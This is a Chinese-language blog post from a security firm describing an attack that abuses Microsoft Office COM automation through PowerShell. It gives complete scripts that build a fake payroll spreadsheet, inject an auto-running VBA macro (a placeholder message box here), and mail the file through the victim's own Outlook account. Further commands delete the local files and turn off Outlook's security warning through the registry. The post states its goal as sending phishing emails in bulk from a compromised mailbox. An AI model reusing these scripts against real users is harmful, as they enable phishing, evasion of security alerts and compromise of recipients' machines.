一種針對Microsoft Office的自動化攻擊方式

矢安科技發表於2023-01-04

前言

目前,很多軟體包括Microsoft Office都是透過COM 物件實現的,它們都可以使用PowerShell(或其他語言)COM 物件來完成程式和服務的自動化操作。基於此,如果受害者機器安裝了 Microsoft Office ,惡意軟體就可以利用 COM 物件對目標主機進行惡意攻擊。

自動化 Microsoft Excel的攻擊

1.透過Excel 執行PowerShell。 

我們可以使用 New-Object -com 命令建立 Excel 應用程式,然後與返回的物件進行互動。

PS C:\> $excel = New-Object -com Excel.Application
PS C:\> $excel.Visible = $true

注意:如果要隱藏使用者介面,應使用 Visible = $false。

一種針對Microsoft Office的自動化攻擊方式

2.編輯 Excel 文件

下一步可以新增一個 Workbook 並將一些資料寫入特定的 Cell.

PS C:\> $workbook = $excel.Workbooks.Add()
PS C:\> $cell = $workbook.ActiveSheet.Cells(1,1)
PS C:\> $cell.Value = "Here goes the secret message!"
PS C:\> $workbook.Password = "Test"

結果如下所示:
一種針對Microsoft Office的自動化攻擊方式

3.儲存文件

使用 SaveAs 功能儲存檔案。

PS C:\> $workbook.SaveAs("EmbraceTheRed")

一種針對Microsoft Office的自動化攻擊方式

4.關閉文件

最後,使用 CLose() 關閉 Excel。

PS C:\> $workbook.Close()
PS C:\> $excel.Quit()

自動化 Microsoft Outlook 的攻擊

如前所述,Office 的大部分內容都是使用 COM 介面實現的,因此我們也可以實現自動化 Outlook的攻擊。

例如,為了將建立的 Excel 文件傳送出去,攻擊者可以使用 Outlook。

$to = ""
$subject = "Secret Excel Document"
$content = "Important message attached."
$outlook = New-Object -com Outlook.Application
$mail = $outlook.CreateItem(0)
$mail.Attachments.Add("EmbraceTheRed")
$mail.subject = $subject
$mail.To = $to
$mail.HTMLBody = $content
$mail.Send()

使用這些 COM 自動化技術,可以使安裝在受感染機器上的現成應用程式來竊取資料,還可以建立完整的 C2 基礎設施和訊息通訊。

自動化 Microsoft Outlook 傳送文件

將上面的兩部分結合,先生成 xls 加入宏之後儲存為 xlsm,之後作為附件傳送至目標,最後再將本地的 Excel 檔案刪除。
一種針對Microsoft Office的自動化攻擊方式接收方接收郵件

一種針對Microsoft Office的自動化攻擊方式一種針對Microsoft Office的自動化攻擊方式
郵件詳情

一種針對Microsoft Office的自動化攻擊方式開啟表格即中招。
一種針對Microsoft Office的自動化攻擊方式Excel 表格資訊,其中最後一次儲存者為傳送郵件方的主機
一種針對Microsoft Office的自動化攻擊方式

程式碼

powershell write xls

$excel = New-Object -com Excel.Application
$excel.Visible = $false
$workbook = $excel.Workbooks.Add()
$cell = $workbook.ActiveSheet.Cells(1,1)
$cell.Value = "檢視工資明細請選擇開啟宏!"
$workbook.ActiveSheet.Cells(2,1).Value = " 月份 "
$workbook.ActiveSheet.Cells(2,2).Value = " 姓名 "
$workbook.ActiveSheet.Cells(2,3).Value = " 月薪 "
$workbook.ActiveSheet.Cells(2,4).Value = " 餐補 "
$workbook.ActiveSheet.Cells(2,5).Value = " 交補 "
$workbook.ActiveSheet.Cells(2,6).Value = " 出差補助 "
$workbook.ActiveSheet.Cells(2,7).Value = " 通訊費補助 "
$workbook.ActiveSheet.Cells(2,8).Value = " 交通費補助 "
$workbook.ActiveSheet.Cells(2,9).Value = " 筆記本補助 "
$workbook.ActiveSheet.Cells(2,10).Value = " 保密補貼 "
$workbook.ActiveSheet.Cells(2,11).Value = " 試用期導師津貼 "
$workbook.ActiveSheet.Cells(2,12).Value = " 伯樂獎 "
$workbook.ActiveSheet.Cells(2,13).Value = " 入離職不在職扣款 "
$workbook.ActiveSheet.Cells(2,14).Value = " 事假扣款 "
$workbook.ActiveSheet.Cells(2,15).Value = " 病假扣款 "
$workbook.ActiveSheet.Cells(2,16).Value = " 轉正/調薪差額 "
$workbook.ActiveSheet.Cells(2,16).Value = " 其他 "
$workbook.ActiveSheet.Cells(2,16).Value = "  超融合獎勵 "
$workbook.ActiveSheet.Cells(2,16).Value = " 應發合計 "
$workbook.ActiveSheet.Cells(2,16).Value = "  養老個人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 失業個人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 社保個人補差 "
$workbook.ActiveSheet.Cells(2,16).Value = " 公積金個人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 稅率 "
$workbook.ActiveSheet.Cells(2,16).Value = " 個稅 "
$workbook.ActiveSheet.Cells(2,16).Value = " 扣除已發超融合獎勵 "
$workbook.ActiveSheet.Cells(2,16).Value = " 實發 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計子女教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計贍養老人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計繼續教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計住房貸款利息 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計住房租金 "
$workbook.WorkSheets.item(1).Name = "工資明細"
$workbook.author = "財務部"
$workbook.title = "2022年12月工資明細"
$workbook.subject = "2022年12月工資明細"
$workbook.SaveAs("c:\temp\2022年12月工資明細.xls")

$xl = New-Object -ComObject Excel.Application
$xl.Visible = $false
$xl.DisplayAlerts = $false
$workbook = $xl.Workbooks.Open("c:\temp\2022年12月工資明細.xls")
$xlmodule = $workbook.VBProject.VBComponents.Add(1)
$code = @"
Sub Auto_Open()
Msgbox "You Are Be Hacked!"
End Sub
"@

$xlmodule.CodeModule.AddFromString($code)
$workbook.SaveAs("c:\temp\2022年12月工資明細.xlsm",52)
$workbook.Close()
$excel.Quit()
sleep(1)
del c:\temp\2022年12月工資明細.xls

一種針對Microsoft Office的自動化攻擊方式

OutLook

$to = "xxxx@qq.com"
$subject = "2022年12月工資明細"
$content = "您好,附件為2022年12月工資明細,請查收,謝謝。"

$outlook = New-Object -com Outlook.Application
$mail = $outlook.CreateItem(0)
$mail.Attachments.Add("c:\temp\2022年12月工資明細.xlsm")
$mail.subject = $subject
$mail.To = $to
$mail.HTMLBody = $content
$mail.Send()

結合

$excel = New-Object -com Excel.Application
$excel.Visible = $false
$workbook = $excel.Workbooks.Add()
$cell = $workbook.ActiveSheet.Cells(1,1)
$cell.Value = "檢視工資明細請選擇開啟宏!"
$workbook.ActiveSheet.Cells(2,1).Value = " 月份 "
$workbook.ActiveSheet.Cells(2,2).Value = " 姓名 "
$workbook.ActiveSheet.Cells(2,3).Value = " 月薪 "
$workbook.ActiveSheet.Cells(2,4).Value = " 餐補 "
$workbook.ActiveSheet.Cells(2,5).Value = " 交補 "
$workbook.ActiveSheet.Cells(2,6).Value = " 出差補助 "
$workbook.ActiveSheet.Cells(2,7).Value = " 通訊費補助 "
$workbook.ActiveSheet.Cells(2,8).Value = " 交通費補助 "
$workbook.ActiveSheet.Cells(2,9).Value = " 筆記本補助 "
$workbook.ActiveSheet.Cells(2,10).Value = " 保密補貼 "
$workbook.ActiveSheet.Cells(2,11).Value = " 試用期導師津貼 "
$workbook.ActiveSheet.Cells(2,12).Value = " 伯樂獎 "
$workbook.ActiveSheet.Cells(2,13).Value = " 入離職不在職扣款 "
$workbook.ActiveSheet.Cells(2,14).Value = " 事假扣款 "
$workbook.ActiveSheet.Cells(2,15).Value = " 病假扣款 "
$workbook.ActiveSheet.Cells(2,16).Value = " 轉正/調薪差額 "
$workbook.ActiveSheet.Cells(2,16).Value = " 其他 "
$workbook.ActiveSheet.Cells(2,16).Value = "  超融合獎勵 "
$workbook.ActiveSheet.Cells(2,16).Value = " 應發合計 "
$workbook.ActiveSheet.Cells(2,16).Value = "  養老個人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 失業個人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 社保個人補差 "
$workbook.ActiveSheet.Cells(2,16).Value = " 公積金個人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 稅率 "
$workbook.ActiveSheet.Cells(2,16).Value = " 個稅 "
$workbook.ActiveSheet.Cells(2,16).Value = " 扣除已發超融合獎勵 "
$workbook.ActiveSheet.Cells(2,16).Value = " 實發 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計子女教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計贍養老人 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計繼續教育 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計住房貸款利息 "
$workbook.ActiveSheet.Cells(2,16).Value = " 累計住房租金 "
$workbook.WorkSheets.item(1).Name = "工資明細"
$workbook.author = "財務部"
$workbook.title = "2022年12月工資明細"
$workbook.subject = "2022年12月工資明細"
$workbook.SaveAs("c:\temp\2022年12月工資明細.xls")

$xl = New-Object -ComObject Excel.Application
$xl.Visible = $false
$xl.DisplayAlerts = $false
$workbook = $xl.Workbooks.Open("c:\temp\2022年12月工資明細.xls")
$xlmodule = $workbook.VBProject.VBComponents.Add(1)
$code = @"
Sub Auto_Open()
Msgbox "You Are Be Hacked!"
End Sub
"@

$xlmodule.CodeModule.AddFromString($code)
$workbook.SaveAs("c:\temp\2022年12月工資明細.xlsm",52)
$workbook.Close()
$excel.Quit()
sleep(1)
del c:\temp\2022年12月工資明細.xls

$to = "xxxx@qq.com"
$subject = "2022年12月工資明細"
$content = "您好,附件為2022年12月工資明細,請查收,謝謝。"

$outlook = New-Object -com Outlook.Application
$mail = $outlook.CreateItem(0)
$mail.Attachments.Add("c:\temp\2022年12月工資明細.xlsm")
$mail.subject = $subject
$mail.To = $to
$mail.HTMLBody = $content
$mail.Send()
sleep(1)
del c:\temp\2022年12月工資明細.xlsm

如何解決告警問題

這裡還有個問題,就是透過 COM 呼叫 Outlook 傳送郵件時會觸發安全告警。

一種針對Microsoft Office的自動化攻擊方式 

官方連結:

https://support.microsoft.com/zh-cn/office/%E6%88%91%E6%94%B6%E5%88%B0%E8%AD%A6%E5%91%8A-%E6%8C%87%E5%87%BA%E6%9C%89%E7%A8%8B%E5%BA%8F%E8%AE%BF%E9%97%AE%E7%94%B5%E5%AD%90%E9%82%AE%E4%BB%B6%E5%9C%B0%E5%9D%80%E4%BF%A1%E6%81%AF%E6%88%96%E4%BB%A5%E6%88%91%E7%9A%84%E5%90%8D%E4%B9%89%E5%8F%91%E9%80%81%E7%94%B5%E5%AD%90%E9%82%AE%E4%BB%B6-86cc5ece-379e-45e3-b8eb-3fefba09946b?ns=outlook&version=19&syslcid=2052&uilcid=2052&appver=zol190&helpid=olmain11.chm553714172&ui=zh-cn&rs=zh-cn&ad=cn

解決方案:

1. 選擇“開始”,然後輸入“regedit”。 在搜尋結果中,右鍵單擊“登錄檔編輯器”,然後選擇“以管理員身份執行”。

2. 在登錄檔編輯器中,導航到相應的登錄檔子項,如下所示:

相同的位數安裝 (在 32 位 Windows 上安裝執行的 32 位辦公軟體或在 64 位 Windows 上安裝執行的 64 位辦公軟體)︰

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\x.0\Outlook\Security

不同位數安裝 (在 64 位 Windows 上安裝執行的 32 位辦公軟體)︰

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Wow6432Node\Microsoft\Office\x.0\Outlook\Security

Office 基於 MSI 的安裝︰

不同位元 (在 64 位 Windows 上安裝執行的 32 位辦公軟體)︰

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Office\x.0\Outlook\Security

相同的位數 (在 32 位 Windows 上安裝執行的 32 位辦公軟體或在 64 位 Windows 上安裝執行的 64 位辦公軟體)︰

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\x.0\Outlook\Security

本次測試地址:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\16.0\Outlook\Security

注意x.0佔位符表示 Office 版本 (16.0 代表 Office 2016,15.0 代表 Office 2013 )

1. 右鍵單擊登錄檔子項,然後選擇“新建”>“DWORD”。

2. 將 DWORD 命名為 ObjectModelGuard。

3. 將 DWORD 的值設定為所需的行為:

  l DWORD: ObjectModelGuard

  l 值:

    0 = 在防病毒軟體處於非活動狀態或過期時警告我存在可疑活動 (推薦)

    1 = 始終警告我可疑活動

    2 = 切勿警告我可疑活動 (不推薦)

4. 退出登錄檔編輯器。

一種針對Microsoft Office的自動化攻擊方式

更新登錄檔後,檢查 Outlook 以確保在“程式設計訪問”設定中正確顯示更改:

1. 在 Outlook 中,選擇“檔案”,然後選擇“選項”。

2. 選擇“信任中心”,然後選擇“信任中心設定”。

3. 選擇“程式設計訪問”。
一種針對Microsoft Office的自動化攻擊方式這個可以透過登錄檔命令列直接修改

reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\ClickToRun\REGISTRY\MACHINE\Software\Microsoft\Office\16.0\Outlook\Security /v ObjectModelGuard /t REG_DWORD /d 2

一種針對Microsoft Office的自動化攻擊方式但是修改完不會立即生效,需要重啟下outlook程式。這裡使用powershell命令來重啟:

# 關閉Outlook程式
Stop-Process -Name "OUTLOOK"
# 啟動Outlook程式
Start-Process "C:\Program Files\Microsoft Office\root\Office16\OUTLOOK.EXE"

之後再次檢視就生效了,然後再執行Powershell指令碼就不會觸發安全告警了。

總結

本操作主要是當受害者使用的是Outlook郵箱,為了獲取到個人PC許可權,可以透過該指令碼自動化利用本機器使用者的郵箱賬號批次傳送釣魚郵件。由於使用的是本機器使用者的郵箱賬號,可信度較高,釣魚成功率也會隨之提升。

相關文章